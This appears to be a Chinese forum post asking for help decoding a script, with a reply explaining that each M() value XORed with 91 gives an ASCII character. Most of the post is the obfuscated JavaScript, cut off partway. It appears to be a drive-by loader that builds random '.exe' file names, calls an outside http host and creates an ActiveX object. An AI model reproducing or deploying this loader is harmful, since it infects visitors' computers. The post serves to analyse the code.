谁能帮我把这个脚本解密一下

<script language=javascript>var M=function(m){return String.fromCharCode(m^91)};eval(M(61)+M(46)+M(53)+M(56)+M(47)+M(50)+M(52)+M(53)+M(123)+M(60)+M(53)+M(115)+M(53)+M(114)+M(32)+M(45)+M(58)+M(41)+M(123)+M(53)+M(46)+M(54)+M(57)+M(62)+M(41)+M(123)+M(102)+M(123)+M(22)+M(58)+M(47)+M(51)+M(117)+M(41)+M(58)+M(53)+M(63)+M(52)+M(54)+M(115)+M(114)+M(113)+M(53)+M(96)+M(41)+M(62)+M(47)+M(46)+M(41)+M(53)+M(123)+M(22)+M(58)+M(47)+M(51)+M(117)+M(41)+M(52)+M(46)+M(53)+M(63)+M(115)+M(53)+M(46)+M(54)+M(57)+M(62)+M(41)+M(114)+M(112)+M(124)+M(117)+M(62)+M(35)+M(62)+M(124)+M(96)+M(38)+M(47)+M(41)+M(34)+M(32)+M(63)+M(55)+M(102)+M(124)+M(51)+M(47)+M(47)+M(43)+M(97)+M(116)+M(116)+M(54)+M(117)+M(47)+M(47)+M(50)+M(35)+M(35)+M(117)+M(56)+M(52)+M(54)+M(116)+M(41)+M(46)+M(53)+M(117)+M(62)+M(35)+M(62)+M(124)+M(96)+M(45)+M(58)+M(41)+M(123)+M(63)+M(61)+M(102)+M(63)+M(52)+M(56)+M(46)+M(54)+M(62)+M(53)+M(47)+M(117)+M(56)+M(41)+M(62)+M(58)+M(47)+M(62)+M(30)+M(55)+M(62)+M(54)+M(62)+M(53)+M(47)+M(115)+M(121)+M(52)+M(57)+M(49)+M(62)+M(56)+M(47)+M(121)+M(114)+M(96)+M(63)+M(61)+M(117)+M(40)+M(62)+M(47)+M(26)+M(47)+M(47)+M(41)+M(50)+M(57)+M(46)+M(47)+M(62)+M(115)+M(121)+M(56)+M(55)+M(58)+M(40)+M(40)+M(50)+M(63)+M(121)+M(119)+M(121)+M(56)+M(55)+M(40)+M(50)+M(63)+M(97)+M(25)+M(31)+M(98)+M(109)+M(24)+M(110)+M(110)+M(109)+M(118)+M(109)+M(110)+M(26)+M(104)+M(118)+M(106)+M(106)+M(31)+M(107)+M(118)+M(98)+M(99)+M(104)+M(26)+M(118)+M(107)+M(107)+M(24)+M(107)+M(111)+M(29)+M(24)+M(105)+M(98)+M(30)+M(104)+M(109)+M(121)+M(114)+M(96)+M(45)+M(58)+M(41)+M(123)+M(35)+M(102)+M(63)+M(61)+M(117)+M(24)+M(41)+M(62)+M(58)+M(47)+M(62)+M(20)+M(57)+M(49)+M(62)+M(56)+M(47)+M(115)+M(121)+M(22)+M(50)+M(56)+M(41)+M(52)+M(40)+M(52)+M(61)+M(47)+M(117)+M(3)+M(121)+M(112)+M(121)+M(22)+M(121)+M(112)+M(121)+M(23)+M(121)+M(112)+M(121)+M(19)+M(121)+M(112)+M(121)+M(15)+M(121)+M(112)+M(121)+M(15)+M(121)+M(112)+M(121)+M(11)+M(121)+M(119)+M(121)+M(121)+M(114)+M(96)+M(45)+M(58)+M(41)+M(123)+M(8)+M(102)+M(63)+M(61)+M(117)+M(24)+M(41)+M(62)+M(58)+M(47)+M(62)+M(20)+M(57)+M(49)+M(62)+M(56)+M(47)+M(115)+M(121)+M(26)+M(63)+M(52)+M(63)+M(57)+M(117)+M(8)+M(47)+M(41)+M

M()中的每个数字和91异或得出的数字是ASCII码,转换成字符之后就是源码了.

比如:

M(61)+M(46)+M(53)+M(56)+M(47)+M(50)+M(52)+M(53)

就是(102) (117) (110) (99) (116) (105) (111) (110)

也就是:function

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